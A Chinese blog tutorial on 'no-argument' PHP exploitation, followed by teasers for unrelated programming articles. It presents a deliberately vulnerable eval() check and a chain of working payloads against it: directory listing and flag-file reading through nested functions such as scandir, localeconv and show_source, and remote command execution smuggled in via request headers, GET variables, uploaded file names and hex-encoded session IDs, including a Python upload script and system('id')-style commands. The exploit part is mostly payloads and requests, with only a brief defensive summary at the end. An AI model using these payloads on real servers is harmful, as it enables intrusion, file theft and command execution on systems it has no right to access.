当前位置：首页 > news >正文

无参数读文件和RCE

news 来源：原创 2025/7/20 22:55:21

什么是无参数？

无参数（No-Argument）的概念，顾名思义，就是在PHP中调用函数时，不传递任何参数。我们需要利用仅靠函数本身的返回值或嵌套无参数函数的方式，达到读取文件或远程命令执行（RCE）的目的。

这类攻击通常受限于特定的代码环境，例如：

只能使用不带参数的函数。
传递参数时，必须是另一个函数的返回值。
受限于PHP的内置安全机制，如 disable_functions 和 open_basedir。

例题分析

代码：

<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    eval($_GET['code']);
}
?>

代码中：

highlight_file(__FILE__)：输出当前文件源码，方便分析。
preg_replace('/[^\W]+$(?R)?$/', '', $_GET['code'])：匹配并替换掉无参数的函数调用，确保 $_GET['code'] 仅剩 ;。
eval($_GET['code'])：执行传入的 code 参数。

正则表达式解析：

[^\W]+：匹配字母、数字和下划线，即PHP函数名。
$(?R)?$：匹配函数括号内容，允许递归嵌套。
preg_replace()：删除匹配到的函数调用，最终仅剩 ; 时才允许 eval() 执行。

核心限制：我们只能使用无参数的PHP函数，否则 preg_replace() 会清除代码。

无参数文件读取

1. 获取当前目录下的文件

正常情况下，我们可以使用：

print_r(scandir('.'));

来获取当前目录下的文件列表。但是 "." 不能直接传递参数，因此我们需要构造 "." 的方法。

方法一：使用 `localeconv()`

current(localeconv());

localeconv() 返回本地货币格式，其中 decimal_point 位置通常是 "."。
current() 获取数组的第一个元素，即 "."。

最终：

print_r(scandir(current(localeconv())));

成功获取当前目录下的所有文件。

方法二：使用 `chr(46)`

chr(46) 直接返回 '.'：

print_r(scandir(chr(46)));

但 chr(46) 依然需要 46 这个数字，我们可以绕过：

chr(time() % 256);  // 只要 time() % 256 在46时，就可以返回 "."

或者：

chr(current(localtime(time()))); // localtime() 返回的数组第一项是秒数，60秒内一定能得到46

方法三：使用 PHP 版本计算

ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))

该方法基于PHP版本（例如 5.5.9）：

floor(phpversion()) → 5
sqrt(5) → 2.236
tan(2.236) → -2.185
cosh(-2.185) → 4.501
sinh(4.501) → 45.081
ceil(45.081) → 46
chr(46) → "."

最终：

print_r(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));

方法四：使用 `crypt()` 生成 `.`

crypt() 可以生成带 . 的哈希：

chr(ord(hebrevc(crypt(time()))));

或：

chr(ord(strrev(crypt(serialize(array())))));

结合 scandir()：

print_r(scandir(chr(ord(hebrevc(crypt(time()))))));

多次刷新，最终会随机得到 "."。

2. 读取当前目录文件

获得目录列表后，我们可以读取文件。假设目标文件是 flag.php，我们需要遍历目录列表并读取它。

方法一：读取最后一个文件

show_source(end(scandir(getcwd())));

或：

highlight_file(end(scandir(getcwd())));

方法二：逆序数组读取

show_source(current(array_reverse(scandir(getcwd()))));

利用 array_reverse() 反转数组，使最后一个文件变成第一个，current() 获取它。

方法三：随机获取文件

show_source(array_rand(array_flip(scandir(getcwd()))));

array_flip() 交换键和值，使文件名变为键。
array_rand() 随机选取一个键，最终得到文件名。

3. 读取上一级目录文件

方法一：使用 `dirname()`

print_r(scandir(dirname(getcwd())));

dirname(getcwd()) 获取上一级目录路径。
scandir() 列出该目录文件。

方法二：利用 `".."`

print_r(scandir(next(scandir(getcwd()))));

next(scandir(getcwd())) 获取 ..。
scandir(..) 列出上级目录。

无参数RCE（远程命令执行）

无参数RCE的核心思路是利用环境变量、$_GET、$_POST、$_COOKIE、$_FILES、$_SESSION 等存储参数，再通过无参数函数获取并执行。

1. 利用 `getallheaders()`

eval(pos(getallheaders()));

我们可以在请求头中注入代码：

GET /index.php?code=eval(pos(getallheaders())) HTTP/1.1
Leon: system('ls');

PHP 解析后：

eval(system('ls'));

成功执行命令。

2. 利用 `get_defined_vars()`

get_defined_vars() 返回所有PHP变量，包括 $_GET、$_POST 等：

eval(pos(pos(get_defined_vars())));

请求：

GET /index.php?leon=system('id');&code=eval(pos(pos(get_defined_vars())));

执行：

system('id');

3. 利用 `$_FILES`

上传任意文件：

import requestsfiles = {"system('whoami');": ""
}
r = requests.post('http://127.0.0.1/index.php?code=eval(pos(pos(end(get_defined_vars()))));', files=files)
print(r.text)

因为 $_FILES 在 get_defined_vars() 结果的最后一项，我们用 end() 取出，再 pos(pos()) 获取文件名，最终执行代码。

4. 利用 `session_id()`

eval(hex2bin(session_id(session_start())));

我们可以通过 Cookie 传入 session_id：

Cookie: PHPSESSID=706870696e666f28293b

hex2bin() 解码成：

phpinfo();

最终 eval() 执行 phpinfo()。

总结

无参数文件读取和RCE主要考验对PHP函数的理解和组合能力。通过构造无参数调用，我们可以：

读取目录、文件内容。
执行命令，绕过某些安全限制。

安全开发时，需要禁用 eval()，限制 scandir()、getallheaders()、get_defined_vars() 等函数的使用，并严格过滤用户输入。

无参数读文件和RCE

什么是无参数？ 无参数（No-Argument）的概念，顾名思义，就是在PHP中调用函数时，不传递任何参数。我们需要利用仅靠函数本身的返回值或嵌套无参数函数的方式，达到读取文件或远程命令执行&#xff0…...

编程日记 2025/7/20 22:55:21

SpringMVC_day02

一、SSM 整合核心步骤依赖管理包含 SpringMVC、Spring JDBC、MyBatis、Druid 数据源、Jackson 等依赖。注意点：确保版本兼容性（如 Spring 5.x 与 MyBatis 3.5.x）。配置类 SpringConfig：扫描 Service 层、启用事务管理、导入…...

编程日记 2025/7/20 22:55:19

在Linux、Windows系统上安装开源InfluxDB——InfluxDB OSS v2并设置开机自启的保姆级图文教程

一、进入InfluxDB下载官网 InfluxData 文档https://docs.influxdata.com/Install InfluxDB OSS v2 | InfluxDB OSS v2 Documentation...

编程日记 2025/7/20 22:42:39

LinkedIn数据抓取零风险指南：亮数据住宅代理实现企业级合规采集

亮数据住宅代理实现企业级合规采集一、前言二、尝试使用三、使用体验高效稳定易用性：合规与安全：技术支持： 四、适用场景五、推荐程度六、试用地址一、前言最近一位猎头小伙伴找到我，说目前很多公司的出海业务都在招人&#x…...

编程日记 2025/7/20 22:34:02

ROS2的发展历史、核心架构和应用场景

以下是对**ROS2（Robot Operating System 2）**的发展历史、核心架构和应用场景的详细解析，覆盖其技术演变、关键特性和生态系统： 一、ROS2的诞生背景：从ROS1到ROS2 1. ROS1的历史与局限 ROS1的起源： 2007年…...

编程日记 2025/7/20 22:44:20

PHP eval 长度限制绕过与 Webshell 获取

在 PHP 代码中，如果 eval($param); 存在且长度受限，并且过滤了 eval 和 assert，仍然可以通过多种方法绕过限制，获取 Webshell。源码 <?php $param $_REQUEST[param]; if(strlen($param)<17 && stripos($param,…...

编程日记 2025/7/20 12:50:50

自然语言处理（14:处理时序数据的层的实现)

系列文章目录第一章 1:同义词词典和基于计数方法语料库预处理第一章 2:基于计数方法的分布式表示和假设，共现矩阵，向量相似度第一章 3:基于计数方法的改进以及总结第二章 1:word2vec 第二章 2:word2vec和CBOW模型的初步实现第二章 3:CBOW模型…...

编程日记 2025/7/20 22:44:19

Pytest的Fixture使用

概述 Pytest中的Fixture可以使得测试代码高度复用，同时对资源进行安全的管理，以及在复杂的测试场景用进行灵活的组合。概念 Fixture：可重用的函数，用@pytest.fixture来进行装饰，用于为测试提供数据、环境或者服务作用域：控制Fixture的生命周期，默认是function，可设置…...

编程日记 2025/7/20 22:51:15

【蓝桥杯】每日练习 Day13

前言今天做了不少题，但是感觉都太水了，深思熟虑之下主播决定拿出两道相对不那么水的题来说一下（其实还是很水）。两道问题，一道是日期问题（模拟），一道是区间合并问题。日期差值 …...

编程日记 2025/7/20 22:47:54

Vue3 中使用 vuedraggable 实现拖拽排序功能，分组拖拽

Vue3 中使用 vuedraggable 实现拖拽排序功能，分组拖拽安装draggable npm install vuedraggablenext --save基础用法示例 <template><div class"app-container"><draggable v-model"list" item-key"id":group"…...

编程日记 2025/7/17 10:51:28

husky的简介以及如果想要放飞自我的解决方案

husky 是一个 Git Hooks 管理工具，它的主要作用是在 Git 提交（commit）、推送（push）等操作时执行自定义脚本，比如代码检查（Lint）、单元测试（Test）、格式化代码…...

编程日记 2025/7/20 22:28:57

Maven工具学习使用（四）——仓库

仓库分类对于Mavne来说，仓库只分为两类：本地仓库和远程仓库。当Maven根据坐标查询寻找构件的时候，它首先会查看本地仓库，如果本地仓库存在此构件，则直接使用；如果本地仓库不存在此构件，或者需要查看是否有更新的构件版本，Maven就会去远程仓库查找，发现需要的构件之后…...

编程日记 2025/7/20 22:54:14

【BFS】《单源、多源 BFS：图搜索算法的双生力量》

文章目录前言单源BFS例题一、迷宫中离入口最近的出口二、最小基因变化三、单词接龙四、为高尔夫比赛砍树多源BFS例题一、 01 矩阵二、飞地的数量三、地图中的最高点四、地图分析结语前言什么是单源、多源BFS算法问题呢？ BFS（Breadth - First Sear…...

编程日记 2025/7/20 22:27:18

批量取消 PDF 文档中的所有超链接

在 PDF 文档中我们可以插入各种各样的文本也可以给文本设置字体，颜色等多种样式，同时还可以给文字或者图片添加上超链接，当我们点击超链接之后，就会跳转到对应的网页。有时候这会对我们的阅读或者使用形成一定的干扰，今…...

编程日记 2025/7/20 22:52:48

13.2 kubelet containerRuntime接口定义和初始化

本节重点总结 ： containerRuntime 需要实现3类接口管理容器的接口管理镜像的接口Streaming API 用于客户端与容器进行交互 type KubeGenericRuntime interface {kubecontainer.Runtimekubecontainer.StreamingRuntimekubecontainer.CommandRunner }containerRun…...

编程日记 2025/7/20 22:46:41

使用 gone.WrapFunctionProvider 快速接入第三方服务

项目地址：https://github.com/gone-io/gone 本文中源代码： esexamples/es 文章目录 1. gone.WrapFunctionProvider 简介2. 配置注入实现3. 实战示例：Elasticsearch 集成4. 使用方式5. 最佳实践6. 总结在如何给Gone框架编写Goner组件&#xf…...

编程日记 2025/7/20 22:46:42

git 标签学习笔记

目录轻量级标签带注释的标签（推荐） 给指定 commit 打标签推送单个标签，需要单独推送，代码推送不会推送标签推送所有标签删除标签轻量级标签 git tag v1.0.0 只是简单地给当前 commit 打上 v1.0.0 标签。带注释的标…...

编程日记 2025/7/20 22:54:13

【论文阅读】基于思维链提示的大语言模型软件漏洞发现与修复方法研究

这篇文章来自于 Chain-of-Thought Prompting of Large Language Models for Discovering and Fixing Software Vulnerabilities 摘要软件安全漏洞在现代系统中呈现泛在化趋势，其引发的社会影响日益显著。尽管已有多种防御技术被提出，基于深度学习&…...

编程日记 2025/7/20 22:27:19

企业在人工智能创新与安全之间走钢丝

2025 年全球 AI/ML 工具使用量将激增，企业将 AI 融入运营之中，员工也将 AI 嵌入日常工作流程中。报告显示，企业对 AI/ML 工具的使用同比增长 3,000% 以上，凸显了各行各业迅速采用 AI 技术，以提升生产力、效率和创新水平…...

编程日记 2025/7/20 22:55:19

CSS动画

目录一、核心概念与语法 1. keyframes 关键帧 2. animation 属性二、动画调速函数（animation-timing-function） 1. 预设值 2. 贝塞尔曲线 3. 步进函数（steps()） 三、动画控制与交互 1. 暂停与恢复 2. JavaScript 控制…...

编程日记 2025/7/20 22:52:47

计算机视觉（CV）技术的优势和挑战

计算机视觉（CV）技术是人工智能领域中的一个重要分支，它主要通过让机器学会“看”和“理解”图像或视频来模拟人类视觉系统。以下是计算机视觉技术的一些优势和挑战： 优势： 自动化：计算机视觉技术可以实现…...

编程日记 2025/7/20 22:41:10

动态IP与静态IP该如何选？

一、当IP地址成为"网络身份" 2023年亚马逊封号潮中，某杭州卖家因登录IP频繁切换（早8点在纽约，午间瞬移到东京），触发平台风控导致账号冻结。这类"时空错乱症"揭示了跨境电商的生存法则&#xff1a…...

编程日记 2025/7/20 22:45:39

Vue.js 完全指南：从入门到精通

1. Vue.js 简介 1.1 什么是 Vue.js？ Vue.js（通常简称为 Vue）是一个用于构建用户界面的渐进式 JavaScript 框架。所谓"渐进式"，意味着 Vue 的设计是由浅入深的，你可以根据自己的需求选择使用它的一部分或全部功能。 Vue 最初由尤雨溪（Evan You）在 2014 年创…...

编程日记 2025/7/20 22:50:07

《TypeScript 7天速成系列》第3天：TypeScript高级类型通关秘籍：泛型+联合+交叉类型实战

TypeScript 的类型系统是其最强大的特性之一，但也是许多开发者感到困惑的地方。今天我们就来破解 TypeScript 中最难的类型系统，掌握泛型、联合类型和交叉类型的使用技巧。一、泛型函数与泛型接口泛型是 TypeScript 中创建可重用组件的重要工具&…...

编程日记 2025/7/20 22:39:08

Python----数据分析（足球运动员数据分析）

一、数据展示 1.1、数据 1.2、列名字段名备注Name姓名Nationality国籍National_Position国家队位置National_Kit国家队号码Club所在俱乐部Club_Position所在俱乐部位置Club_Kit俱乐部号码Club_Joining加入俱乐部时间Contract_Expiry合同到期时间Rating评分Height身高Weight体…...

编程日记 2025/7/20 22:48:58

音视频三看书的笔记 MediaPlayer的C/S架构

MediaPlayer在运行时分为Client和Server两部分 Client层‌：位于Java层，用户通过调用Java层的API（如setDataSource）来操作MediaPlayer。 Server层‌：位于C层，负责实际的媒体处理工作。Server层通过Binder机…...

编程日记 2025/7/20 22:24:35

Elasticsearch：使用 AI SDK 和 Elastic 构建 AI 代理

作者：来自 Elastic Carly Richmond 你是否经常听到 AI 代理（AI agents）这个词，但不太确定它们是什么，或者如何在 TypeScript（或 JavaScript）中构建一个？跟我一起深入了解 AI 代理的概…...

编程日记 2025/7/20 22:47:55

echarts添加坐标轴点击事件

echarts添加坐标轴点击事件 chart.on(click, (params) > {if(params.componentType yAxis && this.type ! 1){console.log(params);// 检查是否点击了系列数据console.log(你点击了 ${params.name} 的数据点，值为 ${params.value}); this.$bus.$emi…...

编程日记 2025/7/18 8:46:11

如何在linux中部署dns服务主备dns （详细全过程）

环境centos 7.9 主DNS：192.168.60.131 备DNS：192.168.60.134 我以 chenxingyu0.com 指向 192.168.60.200为例首先是主dns #!/bin/bash# 检查是否为 root 用户 if [ "$(id -u)" ! "0" ]; thenecho "请使用…...

编程日记 2025/7/20 7:04:46

GitLab 中文版17.10正式发布，27项重点功能解读【二】

GitLab 是一个全球知名的一体化 DevOps 平台，很多人都通过私有化部署 GitLab 来进行源代码托管。极狐GitLab 是 GitLab 在中国的发行版，专门为中国程序员服务。可以一键式部署极狐GitLab。学习极狐GitLab 的相关资料： 极狐GitLab 官网极狐…...

编程日记 2025/7/20 22:32:21

matplotlib——南丁格尔玫瑰

南丁格尔玫瑰图（Nightingale Rose Chart），是一种特殊形式的柱状图，它以南丁格尔（Florence Nightingale）命名，她在1858年首次使用这种图表来展示战争期间士兵死亡原因的数据。它将数据绘制在极坐…...

编程日记 2025/7/16 19:50:19

WPF 与 C# 融合开发：从基础到高级应用（一）

WPF 与 C# 融合开发：从基础到高级应用一、C# 语言基础回顾 1.1 C# 语言概述 C# 是微软开发的一种现代、面向对象的编程语言，它融合了 C、C 和 Java 等语言的优点，具有简洁、安全、高效等特点。C# 广泛应用于 Windows 平台的应用开发&…...

编程日记 2025/7/16 19:52:23

ref和reactive区别

在 Vue 3 中，ref 和 reactive 是两种创建响应式数据的主要 API，但它们的适用场景和使用方式有所不同。以下是它们的核心区别和示例： 一、核心区别特性refreactive适用数据类型所有类型（基本类型、对象、数组）仅对象或…...

编程日记 2025/7/10 11:28:56

精选10个好用的WordPress免费主题

10个好用的WordPress免费主题 1. Astra Astra 是全球最受欢迎的 WordPress 主题。它功能丰富，易于使用，SEO友好，是第一个安装量突破100万的非默认主题，并获得了5000多个五星好评。它完美集成了Elementor、Beaver，古…...

编程日记 2025/7/17 4:46:41

DerpNStink: 1靶场渗透

DerpNStink: 1 来自 <DerpNStink: 1 ~ VulnHub> 1，将两台虚拟机网络连接都改为NAT模式 2，攻击机上做namp局域网扫描发现靶机 nmap -sn 192.168.23.0/24 那么攻击机IP为192.168.23.182，靶场IP192.168.23.213 3，对靶机进行端…...

编程日记 2025/7/20 18:44:39

apache安装脚本使用shell建立

注意防火墙，yum，网络连接等以下是具体的apache安装脚本 #!/bin/bash # Set Apache version to install ## author: yuan # 检查外网连接 echo "检查外网连接..." ping www.baidu.com -c 3 > /dev/null 2>&1 if [ $? -eq 0 ]; …...

编程日记 2025/7/18 4:49:05

Azure SDK 使用指南

Azure SDK（软件开发工具包）是一组由微软提供的工具和库，旨在帮助开发者以多种编程语言（如 .NET、Java、Python、JavaScript 等）与 Azure 服务进行交互。通过使用 Azure SDK，开发者可以更高效地构建、部…...

编程日记 2025/7/20 16:21:12

DeepSeek-V3-0324 版本升级概要

DeepSeek-V3-0324 魔搭社区汇聚各领域最先进的机器学习模型，提供模型探索体验、推理、训练、部署和应用的一站式服务。https://modelscope.cn/models/deepseek-ai/DeepSeek-V3-0324 发布背景与改进根DeepSeek-V3-0324 展示了以下关键改进： 推理性能提…...

编程日记 2025/7/11 1:13:51

leetcode 150. 逆波兰表达式求值

150. 逆波兰表达式求值 - 力扣（LeetCode） class Solution:def evalRPN(self, tokens: List[str]) -> int:stack[]for item in tokens:if item not in ( ,-,* , / ):stack.append(item)else:preint(stack.pop())pre_beforeint(stack.pop())sign itemi…...

编程日记 2025/7/15 11:38:20

LangChain4j与DashScope深度集成实战：一站式开发指南

本篇文章会通篇详细的讲清楚LangChain4j与DashScope集成的各个方面，从Springboot的集成到Ai对话、会话记忆、RAG、FunctionCalling、互联网搜索、结构化的输出、多模态等都给出相应的说明，希望通过这篇文章对于LLM不了解的同仁一样可以扩展出自己的AI应用…...

编程日记 2025/7/19 11:39:12

逼用户升级Win11，微软开始给Win10限速

随着Windows10的支持时间越来越短，微软也加大了对Win10用户的驱赶力度。最近，微软官宣了将要在今年6月份降低OneNote for Windows 10的同步速度。软件也将和Windows10在今年的10月14日一同停止支持和维护。这将影响实时协作和多设备访问。对OneNote…...

编程日记 2025/7/20 5:49:08

工作流引擎Flowable介绍及SpringBoot整合使用实例

Flowable简介 Flowable 是一个轻量级的业务流程管理（BPM）和工作流引擎，基于 Activiti 项目发展而来，专注于提供高性能、可扩展的工作流解决方案。它主要用于企业级应用中的流程自动化、任务管理和审批流等场景。 Flowable 的核心…...

编程日记 2025/7/16 11:44:51

【R语言可视化】相关系数热图

目录热图无显著性结果展示01： 热图显著性结果展示02： ggplot2绘制三角热图结果展示03： corrplot绘制三角热图结果展示04: 热图无显著性 # 示例数据 data(mtcars) df <- mtcars# 计算相关矩阵 cor_matrix <- round(cor(df…...

编程日记 2025/7/19 18:23:33

【区块链 + 文化版权】文创链 | FISCO BCOS 应用案例

“文创链”是由四川省区块链行业协会、成都音像出版社有限公司共同发起， 由成都九天星空科技有限公司等联合打造的数字文创领域联盟链。平台采用FISCO BCOS 开源底层框架， 为数字文创产业构建一个高效、透明、可信的版权管理与交易平台。平台专注于数字…...

编程日记 2025/7/14 23:54:27

# 使用自定义Shell脚本hello快速配置Linux用户账户

使用自定义Shell脚本快速配置Linux用户账户在学校实验室管理Linux服务器，或者公司小团队管理服务器时，大家需要一个能隔离自己服务，但是自己又需要对服务器的完整权限的情形。创建和配置用户账户是一项常见但繁琐的任务。特别是当你需要频繁…...

编程日记 2025/7/19 11:55:07

PyTorch中的Tensor

PyTorch中的Tensor‌ 是核心数据结构，类似于 NumPy 的多维数组，但具备 GPU 加速和自动求导等深度学习特性。一、基本概念 ‌核心数据结构‌ Tensor 是存储和操作数据的基础单元，支持标量（0D）、向量（1D&am…...

编程日记 2025/7/17 15:55:38

16-CSS3新增选择器

知识目标掌握属性选择器的使用掌握关系选择器的使用掌握结构化伪类选择器的使用掌握伪元素选择器的使用如何减少文档内class属性和id属性的定义，使文档变得更加简洁？ 可以通过属性选择器、关系选择器、结构化伪类选择器、伪元素选择器。 1. 属性选择…...

编程日记 2025/7/18 20:56:27

关于笔记本电脑突然没有wifi图标解决方案

笔记本电脑突然没有wifi图标解决方案，设置里也看不见wifi，电脑突然就连不网络了解决方案： 我的电脑——>管理——>服务和应用程序——>服务——>找到WLAN AutoConfig——>点击启动就好了...

编程日记 2025/6/28 6:01:25

Pytorch学习笔记（七）Learn the Basics - Optimizing Model Parameters

这篇博客瞄准的是 pytorch 官方教程中 Learn the Basics 章节的 Optimizing Model Parameters 部分。官网链接：https://pytorch.org/tutorials/beginner/basics/optimization_tutorial.html 完整网盘链接: https://pan.baidu.com/s/1L9PVZ-KRDGVER-AJnXOvlQ?pwd…...

编程日记 2025/7/16 20:02:12

什么是无参数？

例题分析

代码：

正则表达式解析：

无参数文件读取

1. 获取当前目录下的文件

方法一：使用 localeconv()

方法二：使用 chr(46)

方法三：使用 PHP 版本计算

方法四：使用 crypt() 生成 .

2. 读取当前目录文件

方法一：读取最后一个文件

方法二：逆序数组读取

方法三：随机获取文件

3. 读取上一级目录文件

方法一：使用 dirname()

方法二：利用 ".."

无参数RCE（远程命令执行）

1. 利用 getallheaders()

2. 利用 get_defined_vars()

3. 利用 $_FILES

4. 利用 session_id()

总结

相关文章：